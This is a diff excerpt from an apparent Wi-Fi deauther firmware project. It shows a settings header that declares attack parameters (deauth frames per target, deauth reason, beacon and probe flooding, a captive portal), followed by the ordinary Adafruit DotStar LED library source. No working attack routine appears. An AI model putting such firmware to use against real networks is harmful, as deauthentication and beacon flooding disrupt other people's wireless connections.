|
||||
/* This software is licensed under the MIT License: https://github.com/BlackTechX011/DeautherX */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Arduino.h> // Arduino String, Serial
|
||||
#include "A_config.h"
|
||||
|
||||
// ===== VERSION ===== //
|
||||
typedef struct version_t {
|
||||
uint8_t major;
|
||||
uint8_t minor;
|
||||
uint8_t revision;
|
||||
} version_t;
|
||||
|
||||
// ===== AUTOSAVE ===== //
|
||||
typedef struct autosave_settings_t {
|
||||
bool enabled;
|
||||
uint32_t time;
|
||||
} autosave_t;
|
||||
|
||||
// ===== ATTACK ===== //
|
||||
typedef enum beacon_interval_t {
|
||||
INTERVAL_1S = 0,
|
||||
INTERVAL_100MS = 1
|
||||
} beacon_interval_t;
|
||||
|
||||
typedef struct attack_settings_t {
|
||||
// General
|
||||
bool attack_all_ch;
|
||||
bool random_tx;
|
||||
uint32_t timeout;
|
||||
|
||||
// Deauth
|
||||
uint8_t deauths_per_target;
|
||||
uint8_t deauth_reason;
|
||||
|
||||
// Beacon
|
||||
beacon_interval_t beacon_interval;
|
||||
|
||||
// Probe
|
||||
uint8_t probe_frames_per_ssid;
|
||||
} attack_settings_t;
|
||||
|
||||
// ====== WIFI ====== //
|
||||
typedef struct wifi_settings_t {
|
||||
uint8_t channel;
|
||||
uint8_t mac_st[6];
|
||||
uint8_t mac_ap[6];
|
||||
} wifi_settings_t;
|
||||
|
||||
// ===== SNIFFER ===== //
|
||||
typedef struct sniffer_settings_t {
|
||||
uint16_t channel_time;
|
||||
uint16_t min_deauth_frames;
|
||||
} sniffer_settings_t;
|
||||
|
||||
// ===== ACCESS POINT ===== //
|
||||
typedef struct access_point_settings_t {
|
||||
char ssid[33];
|
||||
char password[65];
|
||||
bool hidden;
|
||||
uint8_t ip[4];
|
||||
} access_point_settings_t;
|
||||
|
||||
// ===== WEB INTERFACE ===== //
|
||||
typedef struct web_settings_t {
|
||||
bool enabled;
|
||||
bool captive_portal;
|
||||
bool use_spiffs;
|
||||
char lang[3];
|
||||
} web_settings_t;
|
||||
|
||||
// ===== CLI ===== //
|
||||
typedef struct cli_settings_t {
|
||||
bool enabled;
|
||||
bool serial_echo;
|
||||
} cli_settings_t;
|
||||
|
||||
// ===== LED ===== //
|
||||
typedef struct led_settings_t {
|
||||
bool enabled;
|
||||
} led_settings_t;
|
||||
|
||||
// ===== DISPLAY ===== //
|
||||
typedef struct display_settings_t {
|
||||
bool enabled;
|
||||
uint32_t timeout;
|
||||
} display_settings_t;
|
||||
|
||||
// ===== SETTINGS ===== //
|
||||
typedef struct settings_t {
|
||||
uint32_t magic_num;
|
||||
version_t version;
|
||||
autosave_settings_t autosave;
|
||||
attack_settings_t attack;
|
||||
wifi_settings_t wifi;
|
||||
sniffer_settings_t sniffer;
|
||||
access_point_settings_t ap;
|
||||
web_settings_t web;
|
||||
cli_settings_t cli;
|
||||
led_settings_t led;
|
||||
display_settings_t display;
|
||||
} settings_t;
|
||||
|
||||
namespace settings {
|
||||
void load();
|
||||
void save(bool force = false);
|
||||
|
||||
void reset();
|
||||
void print();
|
||||
|
||||
const settings_t& getAllSettings();
|
||||
const version_t& getVersion();
|
||||
const autosave_settings_t& getAutosaveSettings();
|
||||
const attack_settings_t& getAttackSettings();
|
||||
const wifi_settings_t& getWifiSettings();
|
||||
const sniffer_settings_t& getSnifferSettings();
|
||||
const access_point_settings_t& getAccessPointSettings();
|
||||
const web_settings_t& getWebSettings();
|
||||
const cli_settings_t& getCLISettings();
|
||||
const led_settings_t& getLEDSettings();
|
||||
const display_settings_t& getDisplaySettings();
|
||||
|
||||
void setAllSettings(settings_t& settings);
|
||||
void setAutosaveSettings(const autosave_settings_t& autosave);
|
||||
void setAttackSettings(const attack_settings_t& attack);
|
||||
void setWifiSettings(const wifi_settings_t& wifi);
|
||||
void setSnifferSettings(const sniffer_settings_t& sniffer);
|
||||
void setAccessPointSettings(const access_point_settings_t& ap);
|
||||
void setWebSettings(const web_settings_t& web);
|
||||
void setCLISettings(const cli_settings_t& cli);
|
||||
void setLEDSettings(const led_settings_t& led);
|
||||
void setDisplaySettings(const display_settings_t& display);
|
||||
}
|
||||
638
DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp
Normal file
638
DeautherX/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.cpp
Normal file
@@ -0,0 +1,638 @@
|
||||
/*!
|
||||
* @file Adafruit_DotStar.cpp
|
||||
*
|
||||
* @mainpage Arduino Library for driving Adafruit DotStar addressable LEDs
|
||||
* and compatible devicess -- APA102, etc.
|
||||
*
|
||||
* @section intro_sec Introduction
|
||||
*
|
||||
* This is the documentation for Adafruit's DotStar library for the
|
||||
* Arduino platform, allowing a broad range of microcontroller boards
|
||||
* (most AVR boards, many ARM devices, ESP8266 and ESP32, among others)
|
||||
* to control Adafruit DotStars and compatible devices -- APA102, etc.
|
||||
*
|
||||
* Adafruit invests time and resources providing this open source code,
|
||||
* please support Adafruit and open-source hardware by purchasing products
|
||||
* from Adafruit!
|
||||
*
|
||||
* @section author Author
|
||||
*
|
||||
* Written by Limor Fried and Phil Burgess for Adafruit Industries with
|
||||
* contributions from members of the open source community.
|
||||
*
|
||||
* @section license License
|
||||
*
|
||||
* This file is part of the Adafruit_DotStar library.
|
||||
*
|
||||
* Adafruit_DotStar is free software: you can redistribute it and/or
|
||||
* modify it under the terms of the GNU Lesser General Public License as
|
||||
* published by the Free Software Foundation, either version 3 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* Adafruit_DotStar is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public
|
||||
* License along with DotStar. If not, see <http://www.gnu.org/licenses/>.
|
||||
*
|
||||
*/
|
||||
|
||||
#include "Adafruit_DotStar.h"
|
||||
#if !defined(__AVR_ATtiny85__)
|
||||
#include <SPI.h>
|
||||
#endif
|
||||
|
||||
#define USE_HW_SPI 255 ///< Assigned to dataPin to indicate 'hard' SPI
|
||||
|
||||
/*!
|
||||
@brief DotStar constructor for hardware SPI. Must be connected to
|
||||
MOSI, SCK pins.
|
||||
@param n Number of DotStars in strand.
|
||||
@param o Pixel type -- one of the DOTSTAR_* constants defined in
|
||||
Adafruit_DotStar.h, for example DOTSTAR_BRG for DotStars
|
||||
expecting color bytes expressed in blue, red, green order
|
||||
per pixel. Default if unspecified is DOTSTAR_BRG.
|
||||
@return Adafruit_DotStar object. Call the begin() function before use.
|
||||
*/
|
||||
Adafruit_DotStar::Adafruit_DotStar(uint16_t n, uint8_t o)
|
||||
: numLEDs(n), dataPin(USE_HW_SPI), brightness(0), pixels(NULL),
|
||||
rOffset(o & 3), gOffset((o >> 2) & 3), bOffset((o >> 4) & 3) {
|
||||
updateLength(n);
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief DotStar constructor for 'soft' (bitbang) SPI. Any two pins
|
||||
can be used.
|
||||
@param n Number of DotStars in strand.
|
||||
@param data Arduino pin number for data out.
|
||||
@param clock Arduino pin number for clock out.
|
||||
@param o Pixel type -- one of the DOTSTAR_* constants defined in
|
||||
Adafruit_DotStar.h, for example DOTSTAR_BRG for DotStars
|
||||
expecting color bytes expressed in blue, red, green order
|
||||
per pixel. Default if unspecified is DOTSTAR_BRG.
|
||||
@return Adafruit_DotStar object. Call the begin() function before use.
|
||||
*/
|
||||
Adafruit_DotStar::Adafruit_DotStar(uint16_t n, uint8_t data, uint8_t clock,
|
||||
uint8_t o)
|
||||
: dataPin(data), clockPin(clock), brightness(0), pixels(NULL),
|
||||
rOffset(o & 3), gOffset((o >> 2) & 3), bOffset((o >> 4) & 3) {
|
||||
updateLength(n);
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Deallocate Adafruit_DotStar object, set data and clock pins
|
||||
back to INPUT.
|
||||
*/
|
||||
Adafruit_DotStar::~Adafruit_DotStar(void) {
|
||||
free(pixels);
|
||||
if (dataPin == USE_HW_SPI)
|
||||
hw_spi_end();
|
||||
else
|
||||
sw_spi_end();
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Initialize Adafruit_DotStar object -- sets data and clock pins
|
||||
to outputs and initializes hardware SPI if necessary.
|
||||
*/
|
||||
void Adafruit_DotStar::begin(void) {
|
||||
if (dataPin == USE_HW_SPI)
|
||||
hw_spi_init();
|
||||
else
|
||||
sw_spi_init();
|
||||
}
|
||||
|
||||
// Pins may be reassigned post-begin(), so a sketch can store hardware
|
||||
// config in flash, SD card, etc. rather than hardcoded. Also permits
|
||||
// "recycling" LED ram across multiple strips: set pins to first strip,
|
||||
// render & write all data, reassign pins to next strip, render & write,
|
||||
// etc. They won't update simultaneously, but usually unnoticeable.
|
||||
|
||||
/*!
|
||||
@brief Switch over to hardware SPI. DotStars must be connected to
|
||||
MOSI, SCK pins. Data in pixel buffer is unaffected and can
|
||||
continue to be used.
|
||||
*/
|
||||
void Adafruit_DotStar::updatePins(void) {
|
||||
sw_spi_end();
|
||||
dataPin = USE_HW_SPI;
|
||||
hw_spi_init();
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Switch over to 'soft' (bitbang) SPI. DotStars can be connected
|
||||
to any two pins. Data in pixel buffer is unaffected and can
|
||||
continue to be used.
|
||||
@param data Arduino pin number for data out.
|
||||
@param clock Arduino pin number for clock out.
|
||||
*/
|
||||
void Adafruit_DotStar::updatePins(uint8_t data, uint8_t clock) {
|
||||
hw_spi_end();
|
||||
dataPin = data;
|
||||
clockPin = clock;
|
||||
sw_spi_init();
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Change the length of a previously-declared Adafruit_DotStar
|
||||
strip object. Old data is deallocated and new data is cleared.
|
||||
Pin numbers and pixel format are unchanged.
|
||||
@param n New length of strip, in pixels.
|
||||
@note This function is deprecated, here only for old projects that
|
||||
may still be calling it. New projects should instead use the
|
||||
'new' keyword.
|
||||
*/
|
||||
void Adafruit_DotStar::updateLength(uint16_t n) {
|
||||
free(pixels);
|
||||
uint16_t bytes = (rOffset == gOffset)
|
||||
? n + ((n + 3) / 4)
|
||||
: // MONO: 10 bits/pixel, round up to next byte
|
||||
n * 3; // COLOR: 3 bytes/pixel
|
||||
if ((pixels = (uint8_t *)malloc(bytes))) {
|
||||
numLEDs = n;
|
||||
clear();
|
||||
} else {
|
||||
numLEDs = 0;
|
||||
}
|
||||
}
|
||||
|
||||
// SPI STUFF ---------------------------------------------------------------
|
||||
|
||||
/*!
|
||||
@brief Initialize hardware SPI.
|
||||
@note This library is written in pre-SPI-transactions style and needs
|
||||
some rewriting to correctly share the SPI bus with other devices.
|
||||
*/
|
||||
void Adafruit_DotStar::hw_spi_init(void) { // Initialize hardware SPI
|
||||
#ifdef __AVR_ATtiny85__
|
||||
PORTB &= ~(_BV(PORTB1) | _BV(PORTB2)); // Outputs
|
||||
DDRB |= _BV(PORTB1) | _BV(PORTB2); // DO (NOT MOSI) + SCK
|
||||
#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)
|
||||
SPI.begin();
|
||||
// Hardware SPI clock speeds are chosen to run at roughly 1-8 MHz for most
|
||||
// boards, providing a slower but more reliable experience by default. If
|
||||
// you want faster LED updates, experiment with the clock speeds to find
|
||||
// what works best with your particular setup.
|
||||
#if defined(__AVR__) || defined(CORE_TEENSY) || defined(__ARDUINO_ARC__) || \
|
||||
defined(__ARDUINO_X86__)
|
||||
SPI.setClockDivider(SPI_CLOCK_DIV2); // 8 MHz (6 MHz on Pro Trinket 3V)
|
||||
#else
|
||||
#ifdef ESP8266
|
||||
SPI.setFrequency(8000000L);
|
||||
#elif defined(PIC32)
|
||||
// Use begin/end transaction to set SPI clock rate
|
||||
SPI.beginTransaction(SPISettings(8000000, MSBFIRST, SPI_MODE0));
|
||||
SPI.endTransaction();
|
||||
#else
|
||||
SPI.setClockDivider((F_CPU + 4000000L) / 8000000L); // 8-ish MHz on Due
|
||||
#endif
|
||||
#endif
|
||||
SPI.setBitOrder(MSBFIRST);
|
||||
SPI.setDataMode(SPI_MODE0);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Stop hardware SPI.
|
||||
*/
|
||||
void Adafruit_DotStar::hw_spi_end(void) {
|
||||
#ifdef __AVR_ATtiny85__
|
||||
DDRB &= ~(_BV(PORTB1) | _BV(PORTB2)); // Inputs
|
||||
#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)
|
||||
SPI.end();
|
||||
#endif
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Initialize 'soft' (bitbang) SPI. Data and clock pins are set
|
||||
to outputs.
|
||||
*/
|
||||
void Adafruit_DotStar::sw_spi_init(void) {
|
||||
pinMode(dataPin, OUTPUT);
|
||||
pinMode(clockPin, OUTPUT);
|
||||
#ifdef __AVR__
|
||||
dataPort = portOutputRegister(digitalPinToPort(dataPin));
|
||||
clockPort = portOutputRegister(digitalPinToPort(clockPin));
|
||||
dataPinMask = digitalPinToBitMask(dataPin);
|
||||
clockPinMask = digitalPinToBitMask(clockPin);
|
||||
*dataPort &= ~dataPinMask;
|
||||
*clockPort &= ~clockPinMask;
|
||||
#else
|
||||
digitalWrite(dataPin, LOW);
|
||||
digitalWrite(clockPin, LOW);
|
||||
#endif
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Stop 'soft' (bitbang) SPI. Data and clock pins are set to inputs.
|
||||
*/
|
||||
void Adafruit_DotStar::sw_spi_end() {
|
||||
pinMode(dataPin, INPUT);
|
||||
pinMode(clockPin, INPUT);
|
||||
}
|
||||
|
||||
#ifdef __AVR_ATtiny85__
|
||||
|
||||
// Teensy/Gemma-specific stuff for hardware-half-assisted SPI
|
||||
|
||||
#define SPIBIT \
|
||||
USICR = ((1 << USIWM0) | (1 << USITC)); \
|
||||
USICR = \
|
||||
((1 << USIWM0) | (1 << USITC) | (1 << USICLK)); // Clock bit tick, tock
|
||||
|
||||
static void spi_out(uint8_t n) { // Clock out one byte
|
||||
USIDR = n;
|
||||
SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT SPIBIT
|
||||
}
|
||||
|
||||
#elif (SPI_INTERFACES_COUNT > 0) || !defined(SPI_INTERFACES_COUNT)
|
||||
|
||||
// All other boards have full-featured hardware support for SPI
|
||||
|
||||
#define spi_out(n) (void)SPI.transfer(n) ///< Call hardware SPI function
|
||||
// Pipelining reads next byte while current byte is clocked out
|
||||
#if (defined(__AVR__) && !defined(__AVR_ATtiny85__)) || defined(CORE_TEENSY)
|
||||
#define SPI_PIPELINE
|
||||
#endif
|
||||
|
||||
#else // no hardware spi
|
||||
#define spi_out(n) sw_spi_out(n)
|
||||
|
||||
#endif
|
||||
|
||||
/*!
|
||||
@brief Soft (bitbang) SPI write.
|
||||
@param n 8-bit value to transfer.
|
||||
*/
|
||||
void Adafruit_DotStar::sw_spi_out(uint8_t n) {
|
||||
for (uint8_t i = 8; i--; n <<= 1) {
|
||||
#ifdef __AVR__
|
||||
if (n & 0x80)
|
||||
*dataPort |= dataPinMask;
|
||||
else
|
||||
*dataPort &= ~dataPinMask;
|
||||
*clockPort |= clockPinMask;
|
||||
*clockPort &= ~clockPinMask;
|
||||
#else
|
||||
if (n & 0x80)
|
||||
digitalWrite(dataPin, HIGH);
|
||||
else
|
||||
digitalWrite(dataPin, LOW);
|
||||
digitalWrite(clockPin, HIGH);
|
||||
#if F_CPU >= 48000000
|
||||
__asm__ volatile("nop \n nop");
|
||||
#endif
|
||||
digitalWrite(clockPin, LOW);
|
||||
#if F_CPU >= 48000000
|
||||
__asm__ volatile("nop \n nop");
|
||||
#endif
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
/* ISSUE DATA TO LED STRIP -------------------------------------------------
|
||||
|
||||
Although the LED driver has an additional per-pixel 5-bit brightness
|
||||
setting, it is NOT used or supported here. On APA102, the normally
|
||||
very fast PWM is gated through a much slower PWM (about 400 Hz),
|
||||
rendering it useless for POV or other high-speed things that are
|
||||
probably why one is using DotStars instead of NeoPixels in the first
|
||||
place. I'm told that some APA102 clones use current control rather than
|
||||
PWM for this, which would be much more worthwhile. Still, no support
|
||||
here, no plans for it. If you really can't live without it, you can fork
|
||||
the library and add it for your own use, but any pull requests for this
|
||||
are unlikely be merged for the foreseeable future.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@brief Transmit pixel data in RAM to DotStars.
|
||||
*/
|
||||
void Adafruit_DotStar::show(void) {
|
||||
|
||||
if (!pixels)
|
||||
return;
|
||||
|
||||
uint8_t *ptr = pixels, i; // -> LED data
|
||||
uint16_t n = numLEDs; // Counter
|
||||
uint16_t b16 = (uint16_t)brightness; // Type-convert for fixed-point math
|
||||
|
||||
if (dataPin == USE_HW_SPI) {
|
||||
|
||||
// TO DO: modernize this for SPI transactions
|
||||
|
||||
#ifdef SPI_PIPELINE
|
||||
uint8_t next;
|
||||
for (i = 0; i < 3; i++)
|
||||
spi_out(0x00); // First 3 start-frame bytes
|
||||
SPDR = 0x00; // 4th is pipelined
|
||||
do { // For each pixel...
|
||||
while (!(SPSR & _BV(SPIF)))
|
||||
; // Wait for prior byte out
|
||||
SPDR = 0xFF; // Pixel start
|
||||
for (i = 0; i < 3; i++) { // For R,G,B...
|
||||
next = brightness ? (*ptr++ * b16) >> 8 : *ptr++; // Read, scale
|
||||
while (!(SPSR & _BV(SPIF)))
|
||||
; // Wait for prior byte out
|
||||
SPDR = next; // Write scaled color
|
||||
}
|
||||
} while (--n);
|
||||
while (!(SPSR & _BV(SPIF)))
|
||||
; // Wait for last byte out
|
||||
#else
|
||||
for (i = 0; i < 4; i++)
|
||||
spi_out(0x00); // 4 byte start-frame marker
|
||||
if (brightness) { // Scale pixel brightness on output
|
||||
do { // For each pixel...
|
||||
spi_out(0xFF); // Pixel start
|
||||
for (i = 0; i < 3; i++)
|
||||
spi_out((*ptr++ * b16) >> 8); // Scale, write RGB
|
||||
} while (--n);
|
||||
} else { // Full brightness (no scaling)
|
||||
do { // For each pixel...
|
||||
spi_out(0xFF); // Pixel start
|
||||
for (i = 0; i < 3; i++)
|
||||
spi_out(*ptr++); // Write R,G,B
|
||||
} while (--n);
|
||||
}
|
||||
#endif
|
||||
// Four end-frame bytes are seemingly indistinguishable from a white
|
||||
// pixel, and empirical testing suggests it can be left out...but it's
|
||||
// always a good idea to follow the datasheet, in case future hardware
|
||||
// revisions are more strict (e.g. might mandate use of end-frame
|
||||
// before start-frame marker). i.e. let's not remove this. But after
|
||||
// testing a bit more the suggestion is to use at least (numLeds+1)/2
|
||||
// high values (1) or (numLeds+15)/16 full bytes as EndFrame. For details
|
||||
// see also:
|
||||
// https://cpldcpu.wordpress.com/2014/11/30/understanding-the-apa102-superled/
|
||||
for (i = 0; i < ((numLEDs + 15) / 16); i++)
|
||||
spi_out(0xFF);
|
||||
|
||||
} else { // Soft (bitbang) SPI
|
||||
|
||||
for (i = 0; i < 4; i++)
|
||||
sw_spi_out(0); // Start-frame marker
|
||||
if (brightness) { // Scale pixel brightness on output
|
||||
do { // For each pixel...
|
||||
sw_spi_out(0xFF); // Pixel start
|
||||
for (i = 0; i < 3; i++)
|
||||
sw_spi_out((*ptr++ * b16) >> 8); // Scale, write
|
||||
} while (--n);
|
||||
} else { // Full brightness (no scaling)
|
||||
do { // For each pixel...
|
||||
sw_spi_out(0xFF); // Pixel start
|
||||
for (i = 0; i < 3; i++)
|
||||
sw_spi_out(*ptr++); // R,G,B
|
||||
} while (--n);
|
||||
}
|
||||
for (i = 0; i < ((numLEDs + 15) / 16); i++)
|
||||
sw_spi_out(0xFF); // End-frame marker (see note above)
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Fill the whole DotStar strip with 0 / black / off.
|
||||
*/
|
||||
void Adafruit_DotStar::clear() {
|
||||
memset(pixels, 0,
|
||||
(rOffset == gOffset) ? numLEDs + ((numLEDs + 3) / 4)
|
||||
: // MONO: 10 bits/pixel
|
||||
numLEDs * 3); // COLOR: 3 bytes/pixel
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Set a pixel's color using separate red, green and blue components.
|
||||
@param n Pixel index, starting from 0.
|
||||
@param r Red brightness, 0 = minimum (off), 255 = maximum.
|
||||
@param g Green brightness, 0 = minimum (off), 255 = maximum.
|
||||
@param b Blue brightness, 0 = minimum (off), 255 = maximum.
|
||||
*/
|
||||
void Adafruit_DotStar::setPixelColor(uint16_t n, uint8_t r, uint8_t g,
|
||||
uint8_t b) {
|
||||
if (n < numLEDs) {
|
||||
uint8_t *p = &pixels[n * 3];
|
||||
p[rOffset] = r;
|
||||
p[gOffset] = g;
|
||||
p[bOffset] = b;
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Set a pixel's color using a 32-bit 'packed' RGB value.
|
||||
@param n Pixel index, starting from 0.
|
||||
@param c 32-bit color value. Most significant byte is 0, second is
|
||||
red, then green, and least significant byte is blue.
|
||||
e.g. 0x00RRGGBB
|
||||
*/
|
||||
void Adafruit_DotStar::setPixelColor(uint16_t n, uint32_t c) {
|
||||
if (n < numLEDs) {
|
||||
uint8_t *p = &pixels[n * 3];
|
||||
p[rOffset] = (uint8_t)(c >> 16);
|
||||
p[gOffset] = (uint8_t)(c >> 8);
|
||||
p[bOffset] = (uint8_t)c;
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Fill all or part of the DotStar strip with a color.
|
||||
@param c 32-bit color value. Most significant byte is 0, second
|
||||
is red, then green, and least significant byte is blue.
|
||||
e.g. 0x00RRGGBB. If all arguments are unspecified, this
|
||||
will be 0 (off).
|
||||
@param first Index of first pixel to fill, starting from 0. Must be
|
||||
in-bounds, no clipping is performed. 0 if unspecified.
|
||||
@param count Number of pixels to fill, as a positive value. Passing
|
||||
0 or leaving unspecified will fill to end of strip.
|
||||
*/
|
||||
void Adafruit_DotStar::fill(uint32_t c, uint16_t first, uint16_t count) {
|
||||
uint16_t i, end;
|
||||
|
||||
if (first >= numLEDs) {
|
||||
return; // If first LED is past end of strip, nothing to do
|
||||
}
|
||||
|
||||
// Calculate the index ONE AFTER the last pixel to fill
|
||||
if (count == 0) {
|
||||
// Fill to end of strip
|
||||
end = numLEDs;
|
||||
} else {
|
||||
// Ensure that the loop won't go past the last pixel
|
||||
end = first + count;
|
||||
if (end > numLEDs)
|
||||
end = numLEDs;
|
||||
}
|
||||
|
||||
for (i = first; i < end; i++) {
|
||||
this->setPixelColor(i, c);
|
||||
}
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Convert hue, saturation and value into a packed 32-bit RGB color
|
||||
that can be passed to setPixelColor() or other RGB-compatible
|
||||
functions.
|
||||
@param hue An unsigned 16-bit value, 0 to 65535, representing one full
|
||||
loop of the color wheel, which allows 16-bit hues to "roll
|
||||
over" while still doing the expected thing (and allowing
|
||||
more precision than the wheel() function that was common to
|
||||
prior DotStar and NeoPixel examples).
|
||||
@param sat Saturation, 8-bit value, 0 (min or pure grayscale) to 255
|
||||
(max or pure hue). Default of 255 if unspecified.
|
||||
@param val Value (brightness), 8-bit value, 0 (min / black / off) to
|
||||
255 (max or full brightness). Default of 255 if unspecified.
|
||||
@return Packed 32-bit RGB color. Result is linearly but not perceptually
|
||||
correct, so you may want to pass the result through the gamma32()
|
||||
function (or your own gamma-correction operation) else colors may
|
||||
appear washed out. This is not done automatically by this
|
||||
function because coders may desire a more refined gamma-
|
||||
correction function than the simplified one-size-fits-all
|
||||
operation of gamma32(). Diffusing the LEDs also really seems to
|
||||
help when using low-saturation colors.
|
||||
*/
|
||||
uint32_t Adafruit_DotStar::ColorHSV(uint16_t hue, uint8_t sat, uint8_t val) {
|
||||
|
||||
uint8_t r, g, b;
|
||||
|
||||
// Remap 0-65535 to 0-1529. Pure red is CENTERED on the 64K rollover;
|
||||
// 0 is not the start of pure red, but the midpoint...a few values above
|
||||
// zero and a few below 65536 all yield pure red (similarly, 32768 is the
|
||||
// midpoint, not start, of pure cyan). The 8-bit RGB hexcone (256 values
|
||||
// each for red, green, blue) really only allows for 1530 distinct hues
|
||||
// (not 1536, more on that below), but the full unsigned 16-bit type was
|
||||
// chosen for hue so that one's code can easily handle a contiguous color
|
||||
// wheel by allowing hue to roll over in either direction.
|
||||
hue = (hue * 1530L + 32768) / 65536;
|
||||
// Because red is centered on the rollover point (the +32768 above,
|
||||
// essentially a fixed-point +0.5), the above actually yields 0 to 1530,
|
||||
// where 0 and 1530 would yield the same thing. Rather than apply a
|
||||
// costly modulo operator, 1530 is handled as a special case below.
|
||||
|
||||
// So you'd think that the color "hexcone" (the thing that ramps from
|
||||
// pure red, to pure yellow, to pure green and so forth back to red,
|
||||
// yielding six slices), and with each color component having 256
|
||||
// possible values (0-255), might have 1536 possible items (6*256),
|
||||
// but in reality there's 1530. This is because the last element in
|
||||
// each 256-element slice is equal to the first element of the next
|
||||
// slice, and keeping those in there this would create small
|
||||
// discontinuities in the color wheel. So the last element of each
|
||||
// slice is dropped...we regard only elements 0-254, with item 255
|
||||
// being picked up as element 0 of the next slice. Like this:
|
||||
// Red to not-quite-pure-yellow is: 255, 0, 0 to 255, 254, 0
|
||||
// Pure yellow to not-quite-pure-green is: 255, 255, 0 to 1, 255, 0
|
||||
// Pure green to not-quite-pure-cyan is: 0, 255, 0 to 0, 255, 254
|
||||
// and so forth. Hence, 1530 distinct hues (0 to 1529), and hence why
|
||||
// the constants below are not the multiples of 256 you might expect.
|
||||
|
||||
// Convert hue to R,G,B (nested ifs faster than divide+mod+switch):
|
||||
if (hue < 510) { // Red to Green-1
|
||||
b = 0;
|
||||
if (hue < 255) { // Red to Yellow-1
|
||||
r = 255;
|
||||
g = hue; // g = 0 to 254
|
||||
} else { // Yellow to Green-1
|
||||
r = 510 - hue; // r = 255 to 1
|
||||
g = 255;
|
||||
}
|
||||
} else if (hue < 1020) { // Green to Blue-1
|
||||
r = 0;
|
||||
if (hue < 765) { // Green to Cyan-1
|
||||
g = 255;
|
||||
b = hue - 510; // b = 0 to 254
|
||||
} else { // Cyan to Blue-1
|
||||
g = 1020 - hue; // g = 255 to 1
|
||||
b = 255;
|
||||
}
|
||||
} else if (hue < 1530) { // Blue to Red-1
|
||||
g = 0;
|
||||
if (hue < 1275) { // Blue to Magenta-1
|
||||
r = hue - 1020; // r = 0 to 254
|
||||
b = 255;
|
||||
} else { // Magenta to Red-1
|
||||
r = 255;
|
||||
b = 1530 - hue; // b = 255 to 1
|
||||
}
|
||||
} else { // Last 0.5 Red (quicker than % operator)
|
||||
r = 255;
|
||||
g = b = 0;
|
||||
}
|
||||
|
||||
// Apply saturation and value to R,G,B, pack into 32-bit result:
|
||||
uint32_t v1 = 1 + val; // 1 to 256; allows >>8 instead of /255
|
||||
uint16_t s1 = 1 + sat; // 1 to 256; same reason
|
||||
uint8_t s2 = 255 - sat; // 255 to 0
|
||||
return ((((((r * s1) >> 8) + s2) * v1) & 0xff00) << 8) |
|
||||
(((((g * s1) >> 8) + s2) * v1) & 0xff00) |
|
||||
(((((b * s1) >> 8) + s2) * v1) >> 8);
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Query the color of a previously-set pixel.
|
||||
@param n Index of pixel to read (0 = first).
|
||||
@return 'Packed' 32-bit RGB value. Most significant byte is 0, second is
|
||||
is red, then green, and least significant byte is blue.
|
||||
*/
|
||||
uint32_t Adafruit_DotStar::getPixelColor(uint16_t n) const {
|
||||
if (n >= numLEDs)
|
||||
return 0;
|
||||
uint8_t *p = &pixels[n * 3];
|
||||
return ((uint32_t)p[rOffset] << 16) | ((uint32_t)p[gOffset] << 8) |
|
||||
(uint32_t)p[bOffset];
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Adjust output brightness. Does not immediately affect what's
|
||||
currently displayed on the LEDs. The next call to show() will
|
||||
refresh the LEDs at this level.
|
||||
@param b Brightness setting, 0=minimum (off), 255=brightest.
|
||||
@note For various reasons I think brightness is better handled in
|
||||
one's sketch, but it's here for parity with the NeoPixel
|
||||
library. Good news is that brightness setting in this library
|
||||
is 'non destructive' -- it's applied as color data is being
|
||||
issued to the strip, not during setPixelColor(), and also
|
||||
means that getPixelColor() returns the exact value originally
|
||||
stored.
|
||||
*/
|
||||
void Adafruit_DotStar::setBrightness(uint8_t b) {
|
||||
// Stored brightness value is different than what's passed. This
|
||||
// optimizes the actual scaling math later, allowing a fast 8x8-bit
|
||||
// multiply and taking the MSB. 'brightness' is a uint8_t, adding 1
|
||||
// here may (intentionally) roll over...so 0 = max brightness (color
|
||||
// values are interpreted literally; no scaling), 1 = min brightness
|
||||
// (off), 255 = just below max brightness.
|
||||
brightness = b + 1;
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief Retrieve the last-set brightness value for the strip.
|
||||
@return Brightness value: 0 = minimum (off), 255 = maximum.
|
||||
*/
|
||||
uint8_t Adafruit_DotStar::getBrightness(void) const {
|
||||
return brightness - 1; // Reverse above operation
|
||||
}
|
||||
|
||||
/*!
|
||||
@brief A gamma-correction function for 32-bit packed RGB colors.
|
||||
Makes color transitions appear more perceptially correct.
|
||||
@param x 32-bit packed RGB color.
|
||||
@return Gamma-adjusted packed color, can then be passed in one of the
|
||||
setPixelColor() functions. Like gamma8(), this uses a fixed
|
||||
gamma correction exponent of 2.6, which seems reasonably okay
|
||||
for average DotStars in average tasks. If you need finer
|
||||
control you'll need to provide your own gamma-correction
|
||||
function instead.
|
||||
*/
|
||||
uint32_t Adafruit_DotStar::gamma32(uint32_t x) {
|
||||
uint8_t *y = (uint8_t *)&x;
|
||||
